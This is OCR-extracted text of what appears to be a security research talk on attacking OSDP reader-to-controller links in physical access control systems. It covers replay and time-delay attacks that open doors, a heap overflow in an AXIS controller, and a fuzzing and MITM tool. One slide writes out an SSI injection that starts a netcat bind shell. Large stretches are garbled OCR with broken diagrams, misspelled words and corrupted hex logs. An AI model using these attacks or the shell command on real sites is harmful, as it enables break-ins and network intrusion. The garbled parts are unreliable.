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Physical Access Controls Systems (PACS)
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Agenda

1. Quick overview
Physical Access Controls & OSDP

2. Bypassing modern Physical Access Controls
Targeting fully secured OSDP setups

3. Attacking OSDP implementations
Gaining foothold in the IP network - over a serial channel
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PACS Architecture
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Attacking PACS

Card-only Attacks

« Nested Attack
~ Introduced in 2009 by

Nijmegan Oakland and a Nethemba
Implemented by ’
Nethemba with the

tool

= Dark-Side Attack

= Introduced in 2009 by
Nicolas Courtois and
implemented by Andrei
¢ Costin with the
blackhat

OnGuard Server




Attacking Modern Reader <—> Controller Communication

'4' Serial Communication

»

OSDP / Wiegand




Regder — Controller Communication

« Thedominant protocol and physical layer
* Limited capabilities: unidirectional, limited transfer rates

* Insecure: easy to eavesdrop and perform replay attacks

s/ |
| MODEL  Esps2eemop |
VENDOR AI-THINKER |




Regder — Controller Communication

‘——- * Increasingly deployed, RS-485 physical layer

&- Extended capabilities bi-directional, increased transfer rates

SDP « Security: option for secure channel with encryption and data integrity

Open Supervised Device Protocol

Conclusion k2 BMV OSOP Ver#ied Devices

DO"H' u)norg +amf)€f a|ef7LS
Hv

in producton
Check your Configs

Juse CnCryp‘r'-m ><

\/Reol,u,(c encr\/P#-'-on -
J Disable Install Mode




Attacking OSDP!
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I. Bypassing access contro|
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2. Attacking OSDP — Breacnhing the internal network
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2. Attacking OSDP — Breacnhing the internal network

IP Network

«: . .
l Serial Communication

TCP/IP

TCP/IP

-— EImEm)



i a
1. Bypassing Access Control! |

i ’

*On properly configured and fully secured environments
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Qur (research) setup
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Qur (research) setup
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Connecting to the reader




Connecting to the reader




Tamper protection”




Tamper protection?

Tamper
Protection

e ——

AXiSa.



Tamper protection”

Tamper

e ——




Tamper protection - Testing



Bypassing tamper protection!




By passing tamper protection!




Tamper protection..

Still nighly recommended..

Tamper protection - NOT eENOUGH!



Understanding OSDP

Peripheral Device (PD) Control Panel (CP)
PD cP
' ) Command: ...
Reply: ...
<
Command: ...
Reply: ...

-
<

Command: Poll

v

Reply: Ack



Understanding OSDP - Secure Channel

Secure Channel -initialization
Shared secret: Secure Channel PD CcP

Base Key ccBK ' ___________

Secure Channel



Understanding OSDP - Secure Channel

Secure Channel - initialization

P )

~ CPrandom challenge
SCBK ' Command: CHLNG

Secure Channel

wosa



Understanding OSDP - Secure Channel

PD Generates Session Keys

Secure Channel - initialization
PD CP

CP random challenge

Command: CHLNG

SCBK D
\ /
\ /

/

Geneél{e Session Keys..l

o~ V¥ Secure Channel

Session Keys

SCBK



Understanding OSDP - Secure Channel

Secure Channel - initialization
PD proof of successful enc PD cP

P ) P

- CP random challen
SCBK Com%‘lgné:aCeHglfNG SCBK

PD random challenge o

>
Proof for successfulenc

f Reply: CCRYPT
/ Generate Session Keys...

wosa

o™ Secure Channel

Session Keys



Understanding OSDP - Secure Channel

Secure Channel - initialization

CP generates session keys
& validates PD

PD

P

SCBK

(o 3

Session Keys

CP
CP random challenge
Command: CHLNG \ SCBK
PD random challenge o \ I
Proof for successfulenc " Z I
Reply: CCRYPT ¥ /
enerate Sessjpn Keys...
Veerifies PD.. )O
\ I
\ I
L |
\

Secure Channel V
(o 3

Session Keys



Understanding OSDP - Secure Channel

Secure Channel - initialization
CP proof of successful enc PD cP

P ) P

- CP random challen
SCBK Com%‘lgné:aCeHglfNG SCBK

PD random challenge o

>
Proof for successfulenc

Reply: CCRYPT

wosa

<
"~ Proof for successfulenc

Command: SCRYP$

\
\

\
o™ Secure Channel O \

Session Keys Session Keys



Understanding OSDP - Secure Channel

Secure Channel - initialization

PD cp
P . P
Both are mutually auth é SCBK Command: CHLNG SCBK
Both have session keys T————

Reply: CCRYPT

<
"~ Proof for successfulenc

Command: SCRYPT

o™ Secure Channel

Session Keys Session Keys



Understanding OSDP - Secure Channel

Secure Channel - initialization

: o

Both are mutually auth é
Both have session keys

initialization vector (IV) must
change every message!

(o 3

Session Keys

CP random challenge

Command: CHLNG

PD random challenge o

>
Proof for successfulenc

Reply: CCRYPT

wosa

<
"~ Proof for successfulenc

Command: SCRYPT

Secure Channel

Session Keys

SCBK



Understanding OSDP - Secure Channel

Secure Channel - initialization

: o

Both are mutually auth é
Both have session keys

initialization vector (IV) based
on previous message received

PD
P
SCBK
(o 3

Session Keys

IV, 4=

CP random challenge

Command: CHLNG

PD random challenge o

>
Proof for successfulenc

Reply: CCRYPT

<
"~ Proof for successfulenc

Command: SCRYPT

Secure Channel

— “MAC1 SessionKeys

-

-
MAC:2 .

—

-
Vs 4~

SCBK



Understanding OSDP -

Both are mutually auth é
Both have session keys

initialization vector (IV) based
on previous message received

Secure Channel

Secure Channel - initialization
PD CP

P ) P

~ CPrandom challenge
SCBK Command: CHLNG

PD random challenge o

>
Proof for successfulenc

Reply: CCRYPT

<
"~ Proof for successfulenc

Command: SCRYPT

o™ Secure Channel

Session Keys Session Keys

V1
~

SCBK



Understanding OSDP - Secure Channel

L Secure Channel - initialization
PD generates the initial MAC PD cpP

P ) P

value, and sends it to CP SCBK N e———
Command: CHLNG SCBK

PD random challenge o

»
Proof for successfulenc

Reply: CCRYPT

wosa

<
"~ Proof for successfulenc

Command: SCRYPT

I >

— Reply: RMAC_|

Initial MAC value [16 BYTES] P Secure Channel

Session Keys Session Keys

V1



Understanding OSDP - Secure Channel

Secure Channel - initialization

SCBK ~ _cPrandom challenge

Command: CHLNG

PD random challenge o

»
Proof for successfulenc

Reply: CCRYPT

wosa

<
"~ Proof for successfulenc

Command: SCRYPT

I >

——

Initial MAC value [16 BYTES]

-
L -

—
—
_—

Reply: RMAC_|

P Secure Channel

TeSsion keys. _e— Session Keys

DT = V1

P ) P

SCBK



Understanding OSDP - Secure Channel

Secure Channel - initialization
PD CP

P ) P

- CP random challen
SCBK Com%‘leolné:aceHgliNG SCBK

PD random challenge o

>
Proof for successfulenc

Reply: CCRYPT

wosa

<
"~ Proof for successfulenc

Command: SCRYPT

»
»

Reply: RMAC_|

o™ Secure Channel O

Session Keys
IV: Last MAC

Session Keys
IV: Last MAC



Understanding OSDP - Secure Channel

Secure Channel - initialization

PD £E
SCBK - > SCBK
Reply: RMAC_| -
- Secure Channel
Session Keys Session Keys

1.cMD: Poll V1
V2

A 4

2. REPLY: Ack
V3
3. CMD: Poll ®

3 4, REPLY: Card Data Report

S




Attacking the Secure Channel

Reply attack?

PD

P

SCBK

>

Secure Channel - initialization

Session Keys

=

V2

Va4

V4

a
v

SCBK

A

v

Reply: RMAC_|

Secure Channel

< Session Keys
1.cMD: Poll V1

A 4

2. REPLY: Ack
V3
3. CMD: Poll ®

[
>

. REPLY: Card Data Report

S

< Vs
5. CMD: Pall

o
»

4. REPLY: Card Data Report




Attacking the Secure Channel

Reply attack?

P

SCBK

Secure Channel - initialization
PD cP

a
v

A

v

Reply: RMAC_|

- - Secure Channel

Session Keys Session Keys
1.cMD: Poll V1

V2

2. REPLY: Ack
< V3
3. CMD: Poll o
-
4. REPLY: Card Data Report

A 4

ﬁ < Vs
5. CMD: Pall

Expected: 1V6

14 >
4. REPLY: Card Data Report

Enc (& MAC) error




'V Reverting

Reply attack!

Secure Channel - initialization

PD
SCBK
>
Session Keys
V2
IVa

=

. REPLY: Card Data Report

Expected: 1V6
P4

a
v

A

v

Reply: RMAC_|

Secure Channel

P

< Session Keys
1.cMD: Poll V1

A 4

2. REPLY: Ack
< V3

3. CMD: Poll e

< Vs
5. CMD: Pall

4. REPLY: Card Data Report x

Enc (& MAC) error



'V Reverting

Reply attack

What if we
could change

the IV? ;

PD

Secure Channel - initialization

s V1

wosa



'V Reverting

Reply attack

Secure Channel - initialization
PD

I Reply: RMAC_|
Defines the/

first IV

1Vs

wosa



'V Reverting

Secure Channel - initialization
Reply attack PD Lk

I Reply: RMAC_|
Defines the/

first IV

A 4

ﬁ Reply: RMAC_I s V1




'V Reverting

Secure Channel - initialization
Reply attack PD Lk

I Reply: RMAC_|
Defines the/

first IV

A 4

i Reply: RMAC_I s V1

Expected: V2!



'V Reverting

Secure Channel - initialization

Reply attack PD Lk
Reply: RMAC_|
Defines the
first IV
F
—
A 4

ﬁ Reply: RMAC_I s V1

-

U 1. CMD: Pall
— i >
vz 2. REPLY: Ack
Vs ¢

\ V4 i 3. CMD: Poll > E

4. REPLY: Card Data Report

A




'V Reverting - LIbOSDP

https://github.com/goToMain/libosdp

LibOSDP - Open Supervised Device Protocol Library

release v2.4.0 () Build CI [passing

This is an open source implementation of IEC 60839-11-5 Open Supervised Device Protocol (OSDP). The protocol is
intended to improve interoperahility among access control and security products. It supports Secure Channel (SC) for ‘ﬁ Sldd hal‘th Chand rasekaran

encrypted and authenticated communication between configured devices.

OSDP describes the communication protocol for interfacing one or more Peripheral Devices (PD) to a Control Panel
(CP) over a two-wire RS-485 multi-drop serial communication channel. Nevertheless, this protocol can be used to
transfer secure data over any stream based physical channel. Read more about OSDP

This protocol is developed and maintained by (SIA).



https://github.com/goToMain/libosdp

'V Reverting

An implementationerror..

Could be defined more clearly..



By the book

Z PD Busy Reply (0x79)

1. Unencrypted, ALWAYS (even during secure

channel)
2. Can be sent continuously, without any time

constraints

?




Time-Delays in OSDP

a

Secure Channel

CMD

y 3

REPLY

v

CMD

A

REPLY

v

CMD
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REPLY

A 4

CMD

REPLY
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Time-Delays in OSDP

Secure Channel

a

CMD

y 3

REPLY

v

CMD

A

REPLY

v

CMD

S

REPLY

A 4

CMD

REPLY

v



Time-Delays in OSDP

Secure Channel

PD cp
|||I ) CMD
REPLY ” =
) CMD
REPLY ’
) CMD

& m—p K o Z\f



Time-Delays in OSDP

Secure Channel

a

CMD

v

REPLY =

a

CMD

A 4

REPLY

A

& —) %DSSec Z\f

New secure channel initialization...



Time-Delays with PD Busy

a

Secure Channel

CMD

y 3

REPLY

v

CMD

A

REPLY

v

CMD

a

REPLY

A 4

CMD

REPLY

\ 4



Time-Delays with PD Busy

Secure Channel

PD
R PD Busy Reply (0x79) ) CMD
1. Unencrypted ALWAYS ' REPLY ”
) CMD
REPLY "
i ‘ ) CMD
REPLY: PD Busy 2 timeout reset
REPLY ”
) CMD

\ 4

REPLY



Time-Delays with PD Busy

Secure Channel

PD
R PD Busy Reply (0x79) <
CMD
1. Unencrypted ALWAYS >
. REPLY
2. Can be sent continuously )
CMD
REPLY
ﬁ > oMo
REPLY: PD Busy timeout reset
REPLY: PD Busy
REPLY: PD Busy
REPLY: PD Busy _
REPLY
CMD

\ 4

REPLY



OSDP Time-Delay Attack!

R PD Busy Reply (0x79)

Fully control WHEN to open the door!

Secure Channel

PD

' CMD
REPLY

CMD
REPLY
ﬁ ) "
REPLY: PD Busy timeout reset
REPLY: PD Busy
REPLY: PD Busy

REPLY: PD Busy

&



Cetting into the facility — Time Delay Attack

R PD Busy Reply (0x79)

Fully control WHEN to open the door!

Secure Channel

PD

' CMD
REPLY

CMD
REPLY
ﬁ ) "
REPLY: PD Busy timeout reset
REPLY: PD Busy
REPLY: PD Busy

REPLY: PD Busy



Cetting into the facility — Time Delay Attack

R PD Busy Reply (0x79)

Fully control WHEN to open the door!

Secure Channel

PD CcP

|||I CMD
REPLY
CMD
REPLY
CMD

REPLY: PD Busy timeout reset
REPLY: PD Busy
REPLY: PD Busy

REPLY: PD Busy

Stop with the busy messages...

n’l I” try 1

=



Cetting into the facility — Time Delay Attack

Z PD Busy Reply (0x79)

Fully control WHEN to open the door!

Secure Channel

=2 cp

' CMD
REPLY =
CMD
REPLY
CMD

REPLY: PD Busy timeout reset
REPLY: PD Busy
REPLY: PD Busy

REPLY: PD Busy

Stop with the busy messages...

“Il try”

i 0
ﬁ REPLY: Card Data Report E




Cetting into the facility — Time Delay Attack

Z PD Busy Reply (0x79)

Fully control WHEN to open the door!

Secure Channel

=2 cp

' CMD
REPLY =
CMD
REPLY
CMD

REPLY: PD Busy timeout reset
REPLY: PD Busy
REPLY: PD Busy

REPLY: PD Busy

»
»

REPLY: Card Data Report

REPLY: Card Data Report




Cetting into the facility — Time Delay Attack

Secure Channel
PD CP

Z PD Busy Reply (0x79) '

a

CMD
Fully control WHEN to open the door!

v

REPLY =

y 3

CMD

v

REPLY

A

CMD

REPLY: PD Busy timeout reset
REPLY: PD Busy
REPLY: PD Busy

REPLY: PD Busy

»
»

REPLY: Card Data Report

<

»

REPLY: Card Data Report




Cetting into the facility — Time Delay Attack

X PD Busy Reply (0x79)

Fully control WHEN to open the door!

Effecting ALL implementations
(following the specs..)

* And no mitigation is expected to be available at the near future



Cetting into the facility — Time Delay Attack

(secure channel)

~

C:\home\kali\osdp-fuzz> python osdp_mitm_tool.py /tmp/cp_usock serial=/dev
/ttyUSBO,baud=9600 delayll




A Security Paradox

More security, More features
More (attack) opportunities!

) OO

C

) C




Increased Functionality & Complexity

AES Encryption

R_em ote_ Remote FW
Configuration update

Status Reports

Complex Data
Formats




INncreased Functionality & Complexity

OSDP implementation over 4K lines of code ...
Wiegand C / C++ implementation ~200 code lines (+ additional linked libs)

src

wiegand.c

OSDPNet #% sidcha

£ UncleRus

Code Blame e crypto
CMakelists.txt

Wiega n d.cpp osdp_common.c

osdp_common.h

O Jpliew relCommands osdp_config.hin
osdp_cp.c
osdp_file.c

Code Blame
osdp_file.h

WiegandNG.cpp osdp_pd.c

osdp_phy.c

exploitagency e osdp_sc.c

Code Blame



More logic - More bugs..

LibOSDP
Bugs from 2022

overflow bugs

@ Closed

SEGV on unknown address
@Clnsed

also secure channe/

New DOS

Fix null pointer deref issue osdp_reply name
Signed-off-by: Siddharth Chandrasekaran <sidcha.devi@gmail.com>

master

#% sidcha committed last week

Showing 1 changed file with 1 addition and 1 deletion.

srcfosdp common.c

return "INVALID";
h
name = names[reply id - REPLY_ACK];
if (name[®] == "\8°") {
if (Yname) {
return "UNKNOWN"™ ;
h

return name,



A Security Paradox..

Classic Attacks

Attack Surface



Beyond Physical Access Control!

Gaining access
to the IP
network!

POST EXPLOITATION:
Jos Wetzels’ “Nakatomi Space: Lateral Movement
as L1 Post-exploitation in OT” (Black Hat Asia 23)




GCaining a foothold in the
iNnternal IP network

Over serial OSDP connection (RS-485)

N N

) OO

C

) C




OSDP - Entry point the network

IP Network

« XS
. Serial Communication
s R
. N

TCP/IP

TCP/IP

- EIm=mp




The process towards our vision

CP (AXIS ATOO1) with debug abilities.




Slrmware Extraction

- Firmware extraction

«  Binwalk—using binwalk we located the file system as JFFS2 (file system for use with
flash memory devices) :

em, little endian




Debugging the OSDP service

System configuration that easily leads to RCE.

By using the upload web Files:

* upload netcat
* shtml script to target netcat

<l--#exec cmd="/mnt/flash/etc/httpd/html/administrator/netcat -1p 4444 -e fu5rfbinf5h”|——>
B C\Windows\System32\cmd.exe - nc.exe 192.168.100.202 4444

AXISa AXIS A1001 Network Door Controller Overview | Help

+ Basic Setup Upload/Remove Own Web Files (2]
Upload Own Web Files

+ Events Uplaad your own web files and use these as custom settings for the AXIS A1001,

+ System Options Fila to upload: | ChooseFile | Mo filz chosen
» Security Userlevel: ® vigwer O Operator '/ Administrator

Date & Time -
» Metwork Upload
» Ports & Devices Remove Uploaded Files

Maintenance -
» Support [ jlocalfadministrator/ssiz.cheml

Advanced =
T — | jlocalfadministrator/neteat
Scripting
File Upload Remave

About




Assessing AXIS ATOOT — Full Setup

Client, AXIS, GDB, firmware analysis

ssh connection
ssh server

»Ssh client
- gdb server gdb connection , gdb client

A

A




Targeting relevant logics

Secure channel handshake?
OSDP message header processing (always unencrypted)?

Message receival logic?



Message Recelval Logic

Performed before secure-channel validation /initialization

(r—

00000
10007001

oi0oo0om

PD

-
<

OSDP_PACKET

»
»

ANY_PACKET \ A

REPLY

a

cP

Receive data over layer 2 (Message receival logic)

A 4
Validate Message

v

Message handling

/



000

10110
10101

Standard Flow Of Message receival

0x100 1. Received legit osdp message
100011001
0100ooMm

0x100 2. Received 2nd legit message

omaooom
100010m
omooom




Message receival in two chunks:

|

0x100
%}EEHE a. Received first part of OSDP

_ 010100 message.

0I070C 0x20
100011
010700

d. Copy the first part to the
resized buffer.

c. Allocates new buffer of 0x100 + additional bytes
from last message

IDI}EEEII%JIPI |__ '.']],}} b. Received second part of the
010104071 0x120 I0Nj OSDP message




The lssue

additional_bytes_length = *(uint*)(pd_structure + @x48) - *(uint*)(pd_structure + Oxlc)
if (*(uint*)(pd_structure + Oxlc)<*(uint*)(pd_structure + @xU8))

buffer_ptr = malloc(additional_bytes_length +0x168)

Additional bytes are copied to the new buffer

bytes_read_length = read(fileDescriptorPtr, buffer_ptr + additional_bytes_length, additional_bytes_length + ©x188)

additional_bytes length + 0x100

&
<«

A
v

\ 4

additional _bytes length overflow



The lssue — message flow

0x100 1. Valid OSDP message + additional
invalid bytes

A

»
L

v

2. 2"d message: 0x100 + additional bytes length

Additional bytes length  [F8]6] Additional bytes length

<&

A
/‘ (0Ox100 + Additional bytes Ieng|[h)

(0Ox100 + Additional bytes length)

3. Writing to buffer starts Heap overflow
here



Heap-overflow potential

Interesting chunk
structure

4 N

data ...
data ...

Callback_ptr

o J

By overriding ‘callback ptr’ for example we will
cause the program to execute a code of our

choice

( )
buffer chunk 1

\ y,
empty Chunk 2

( N
Interesting chunk Chunk 3

override



Heap-overflow

Override potential heap structures which will lead to arbitrary
behaviors such as: dos, PE, etc.

Override structures and variables of the process

Chnk Addr 7556ac10 Size 0x140 (p.size 0x0) Prev Arena : - 6, 5 our buffer
LNNK_AUAl__/D>D5Ua0duU S1ZE UXZE (D.SLZE uXu) Prev  Arena . —_— empty chunk

Chnk Addr 7550ad78 Size 0xc® (p.size 0x0) Prev Arena : |nteresting structure
Dadss P Dacdo Permiss 1ons: region: '') value @
address 7550ad8c - points 7550ae78 permissions: region: value 0 callback func
address 7550ada4 points 75e06100 permissions: region: value 73bef4a0

value 75e061a0
value 75e07530

address 7550adb4 points 7506330 permissions: region:
address 7550adb8 (offset points 75e06340 permissions: > region:
address 7550adbc (offset points 75e06350 permissions: = region: '') value 75e08810

address 7550adc@ (offset points 40b12c (page permissions: region: '/usr/bin/pacsiod') value 27bdffc
address 7550adc4 (offset points 75e07800 (page permissions: region: '') value 75e0bfa0

address 7550adc8 (offset points 40b32c (page permissions: region: '/usr/bin/pacsiod') value 27bdffde
address 7550adcc (offset points 75e07800 (page permissions: region: '') value 75e0bfa0d

address 7550adde (offset points 40b45c (page permissions: region: '/usr/bin/pacsiod') value 27bdffde
address 7550add4 (offset points 75e07800 (page permissions: region: '') value 75e0bfa0
(
(

)
)
r )
address 7550adac points 75e086b0 permissions: region: '') value 75e056d8
‘)
)

address 7550add8 (offset points 405a48 (page permissions: region: '/usr/bin/pacsiod') value 27bdffde
address 7556addc (offset points 75e07800 (page permissions: region: '') value 75e0bfa0




Successful exploitation?

PACSIOD becomes a bind-shell

[root@axis-acccB8eldB8c25 /mnt/Tlash/root]3729# netstat -Llnap | grep LISTEN

LLp 3 J 192108, 100 202749137 Jd.d.a.ao" LLSTEN F34y 1 loupnp

tcp P J 0.0.0.0:38736 3.9.9.09:% LISTEN dd?&fpacgiud

tCcp J Jd B.80.0.0221 d.0.8.09:* LISITEN b4/ vTEpd

tcp 3 J 8.0.0.0:22 3.89.0.09:*% LISTEN 1249/sshd

tcp ] ) 0.0.0.0:12345 0.0.0.0:% LISTEN 4600/gdbserver-7.7.

tep : R 11k LISTEN 516/monolith
tcp : PR 11k LISTEN 440/httpd
tcp : 3 :::21 11k LISTEN 604/vftpd
tep : 3 1z 121k LISTEN 1249/sshd
tcp i i i LTISTEN 781/connectd




5@8@@@44@d296‘) applied mutation remcve_paylcad
40d296" } applied m

296" ) applied mutation

3e
utation random{message_(ode

5@8@(:1@44@41cb' (origin al:b’ 365@8@@@44@({2965395@8@@@4
98@@@44@414:\3 '
53e5@8@@®44@d random_som

0440459

{originalzb‘53@5@8@0@44@(
395@8@@@44@d296‘) applied mutation random_size
e5@8@@@44@d2@6') applied mutation invertﬂcontr@lﬂcrc

_all

'EieS@S@EIGAd@d?QES

' 53
1:h'53&5@8@@@44@d 653

825100
b’ b8e5108
'53 51@@6@44@d2
0’5 e51@@€1@44@d‘2 3
HO4L 6869644@{1‘296 ’2965395@8@@@4&&
29653 508&10@44@::1296
8@@@44@?9({6 !
- 5@8@@@44@?9da !
pd —» cpi 3 ffffffffffffffffffffffffff
fffffffffffffffffffffffff fffffffffffffffffffffffffff
e5@8@®@44€!296') applied mutation tr _ve‘.pverflow
3e5880@@45@fffffffffffffffffffffffffffffffff
ffffffffffffffffffffffffffffffffff £

pd —> €p: 53et
fffffffffffffffffffffffffff

message#code

fffffffffffffffffffffff
fffffffffSﬁdZ'

FEEFFEFT
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
ffffffffffffffffffffffffffffffffffffffffffffffffBﬁdE‘

(origir
ffffffffffffffffffff

b'5365@8@@@44@d29653
FEEEFTEFT

’eBGBEIGEMIWICJS'
pplied mutation

@8@@@44@98 '
(Grlginalzb‘5395@8@@@44@d2§65
fffffffffffffff

ffffffffffffff
ffffffffffffffffffffffffffffffff

325@8E1E1(344@(i'296‘ ) @

ffffffffffffffffffffff
fffffffffffffffffff

0
3 0401d296
?eSSSGGGASfoff fEEEFETFET
Tt {originalz
ffffffffffffffffff

ffffffffffffff
£ feffEffELl

Using th
e framew
ork,we w
' ere ableto d
etect mor
e several v
ulnerabiliti
ities.
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Assessment Tool In our architecture:

-
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\,
-
Dump

communication

Execute
exploits
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IP Network

N
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OSDP Assessment Tool

usageE osdp_mitm tool.py [- h] [—dump_mode] [-—fuzz_mode] [—exploit EXPLOIT] [-cp_device CP_DEVICE] [-pd_device PD_DEVICE] [-fuzzer_trigger_command FUZZER TRIGGER_COMMAND] [-fuzzer_target FUZZER TARGET]
[-fuzzer_session_timecut FUZZER_SESSION_TIMEOUT] [- fuzzer_inactiv rity <|ash threshold FUZZER_INACTIVITY_CRASH_THRESHOLD] [- Tuzznr session_save_trigger FUZZER_SESSION_SAVE_TRIGGER]
[-r

REPLY] [-5 SEQUENCE [SEQUENCE ... 11 [- -p PRIMITIVE [PRIMITIVE ...]] [-e, —exclude- primitive EXCLUDE [EXCLUDE ... 1]

options:

-h, —help show this help message and exit

—dump_mode act as a MITM and dump the packets

—fuzz_mode act as MITM and fuzz one of the end-points

—exploit EXPLOIT run an exploit from list of exploits (either replay or delay)

-cp_device CP_DEVICE cp device path, you can specify serial using the following format : 'serial=/dev/ttyUSBo,baud=96060' (instead of a pipe)

-pd_device PD_DEVICE pd device path, you can specify serial using the following format : 'serial=/dev/ttyUSBo,baud=9660' (instead of a pipe)

-fuzzer_trigger_command FUZZER_TRIGGER_COMMAND
the 0SDP command to trigger the fuzzing (default REPLY_ ACK)

-fuzzer_target FUZZER_TARGET
whether to fuzz the PD or CP (default CP)

-fuzzer_session_timeout FUZZER_SESSION_TIMEQUT
how much time to fuzz a session (default 36 min)

-fuzzer_inactivity_crash_threshold FUZZER_INACTIVITY CRASH_THRESHOLD
how much time of inactivity will be considered as a crash (default 1088 ms)

-fuzzer_session_save_trigger FUZZER_SESSION_SAVE_TRIGGER
what can cause session restart, either crash or invalid_content (default crash)

-r REPLY reply command and payload, provide a hex values of the packet command and payload (i.e. 182830}

-5 SEQUENCE [SEQUENCE ... ]
reply sequence of commands and payloads, provide a hex values of the packet command and paylead ({1i.e. 10820308)

-p PRIMITIVE [PRIMITIVE ...], —primitive PRIMITIVE [PRIMITIVE ... ]
run only these primitives, values can be from the following [enlarge_payload, increase_sequence, replace_payload, fixed_payload, random_message_code, random_message_code_and data,
invert_control_crc, invert_control_sch, invert_control_multi, remove_payload, random_som, increase_size, message_code_all, message_code 58, random_size, constant_payload,
trigger_overflow]

-e, —exclude-primitive EXCLUDE [EXCLUDE ... ]
do not run these primitives, values can be from the following [enlarge paylead, increase_sequence, replace_payload, fixed_paylead, random message_code,
random_message_code_and_data, invert_control_crc, invert_control_sch, tnvert_control_multi, remove_payload, random_som, increase_size, message_code_all, message_code_5@,
random_size, constant_payload, trigger_overflow]




Mutation FUZZER

'538f0800054091fa’
. Assessment
— Tool

Fuzz

'538f080005500E8'

applied mutation message_code 50



-~U// MODE

. Custom mutation
orimitives.

- Easy to extend.

- Auto-crash detection

D23-26-18 03:40:27,374 cp -> pd:
b*5318070800682¢531987000850253 1287000850253 1587000050255 cAT00AR502253140700096829531:0708005028531F0 7080502753200 7008060255321 70990602553 226700k
006015329070008601453 2307009060153 2007090601553 2c4700060135324070000681953 2070800601553 2£070000681753300700806015533167000060155332070008601453331

2013-06-18 03:40:27,425 p
2023-86-18 03:40:27,446 pd

-2
-
2023-06-18 03:40:27,492 pd -
2023-06-13 03:40:27,538 pd -
2073-06-18 03:40:27,583 pd -
2023-86-18 03:40:27,629 pd -
2023-06-18 03:40:27,675 pd -
2023-06-18 03:40:27,721 pd -
2023-86-18 03:40:27,767 pd -
2013-06-18 03:40:27,813 pd -
2023-06-18 03:40:27,859 pd -
2023-06-18 03:40:27,985 pd -
2023-06-13 03:40:27,951 pd -
2023-86-18 03:40:27,9% pd -
2023-06-18 03:40:28,046 pd -

W W e W

2023-06-15 03:43:11,022 *=*=*

pd: b'53360700006018"

cp: b'5381080045628¢0538708000440Ffcb’ (original:b538FABABRLA0C9538F0800044020c9") applied mutation message code 50
cp: b'538f10800456a0¢0538708000440FFch” (original: b 538FABABA4LA=AC95387AB0R0440a0cT") applied mutation message code 50
cp: b'538£18000450a00538103000440a0c053870800044098e6" (original:b'53870300044020c9538103000440200538103000440a0¢0" ) at
cp: b'5381080045628¢0538708000440Ffcb’ (original:b538FABABRLA0C9538F0800044020c9") applied mutation message code 50
cp: b'538f10800456a0¢0538708000440FFch” (original: b 538FABABA4LA=AC95387AB0R0440a0cT") applied mutation message code 50
cp: b'538£18000450a00538103000440a0c053870800044098e6" (original:b'53870300044020c9538103000440200538103000440a0¢0" ) at
cp: h'538£10800450620¢9538708000440FFch’ (original:b’5387ABABRLAACI538F0B0R04I00cT") applied mutation message code 50
cp: b'538f10800456a0¢0538708000440FFch” (original: b 538FABABA4LA=AC95387AB0R0440a0cT") applied mutation message code 50
cp: b'538f10000456a0¢0538708000440FFch' (originalib'5387ABA00L00C9538708000440a0cT") applied mutation message code 50
cp: h'5381800045020¢9538108000440a0C953870300044098e6" (original:b'5387RB00044020c953510800044020c95380300044020c0") ar
cp: b'538f10800450a0¢0538708000440FFch” (original:b’538FABABRLA0C95387AB000440a0cT") applied mutation message code 50
cp: b'538f10000456a0¢0538708000440FFch' (originalib'5387ABA00L00C9538708000440a0cT") applied mutation message code 50
cp: h'5381800045020¢9538108000440a0C953870300044098e6" (original:b'5387RB00044020c953510800044020c95380300044020c0") ar
cp: h'538f0300045891db" (original:b'538f08000440aBcT") applied mutation message code 50

crash detected timeout: 462.97612953186035

i_invert

msq.CTRL_

SCB = msg.C

msg.recalculate_all()




FU/Z/Z Example

—
—
—
—3
—
—3
—
—
—3
—
—3
—3
—

cp:
cp:
cp:
cp:
cp:
cp:
cp:
cp:
cp:
cp:
cp:
cp:
cp:

53e5@8@@@44@d296‘ (original:b'53e508000440d29653e508000440d29653e508000440d296"' ) applied mutation remove payload

3e50800044041cb' (original:b'53e508000440d29653e508000440d296' ) applied mutation random_message_code
5080004404 1cb’ ——————————————————————————————

b b8e510000440d29b5f 50800044045e9"' (original:b'53e508000440d29653e508000440d296' ) applied mutation random_som
b'b8e510000440d29653 ————————————

b'
b'5
b'5
b'
b '5

53e510000440d296 0800044081ae’ (original:b'53e508000440d29653e508000440d296"' ) applied mutation random size

3e518000040d29653e508000440d29653e50800044098' (original:b'53e508000440d29653e508000440d29653e508000440d296"' ) applied mutation tnvert control crc
53e518000040d2¢ D8000440d29653e50800044098'

510000401d29653e50800044079da’ (original:b'53e508000440d29653e508000440d296"' ) applied mutation message code all

53e510000401d29653e50800044079da’

53e588000450f fffffffffffrfffffffffrffrffrfffrrrrffrffrrerrffrffrrereferefrrereffrerrrereffrerrrerrefrerrrerrefrrrrrefrfffrerrffreffrerrffrefriree

fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffbedz (original:b'53e508000440d29653
e508000440d296"' ) a 1ied mutation trigger overflow

pd = cp:

536588000450 T T T T T Tt Tttt r Tt T ffffrffffffffrffrfffffrrfrffffrfrfrfrrfffrtrfrfffrffffrrrrfrfffrerrrfffffrffrffrffrrirrferefeieee

L i i ST



FUZZIiNg results

{7
.

\

%,

%
\\\#

Three O-day vulnerabilities!




Message Code Ox50 - CRASH (1st)

‘ e ‘

osdp_get_message data_size( ‘ payload |

size = 0x10




Message Code Ox50 - CRASH (1st)

[(ELILE)
ﬂ 0x50 !

osdp_get_message_data_size( 1| 0x50

—r—r

size = -0x3

crush

Walit, what??




Message Code Ox50 - CRASH (1st)

osdp_get_message data_size() signed number
signed unsigned
OXFFFFFFFC

Malloc ( OXFFFFFFFC)

"%s: failed to allocate *u bytes”

and first data is ‘/home/svcj/workspace/NB-A1881_ Master-PRODUCTS-FWRT_A1861 FW-22/fwrt/products
and the second data is @xFFFFFFFC
which can be interpreted as -3 or (4294957292)



Catch the crush using fuzzer

03
a3
@3
3
3
@3
03
@3
3

:40:
:40:
:40:
:40:
:40:
:40:
:40:
:40:
:48:

27,721
27,767
27,813
27,859
27,905
27,951
27,996
28,046
11,022

pd ->
pd ->
pd ->
pd ->
pd ->
pd ->
pd ->
pd ->

6 3¢ 2 K K

cp:
cp:
cp:
cp:
cp:
cp:
cp:
cp:

b*538f10000450a0c9538f08000440ffcb’ (original:b'538f08000440a0c9538f08000440a0c9") a;
b*538f100004502a0c9538f08000440ffcb’ (original:b'538f08000440a0c9538f08000440a0c9") a;
b*538f10000450a0c9538f08000440ffcb’ (original:b'538f08000440a0c9538f08000440a0c9") a;
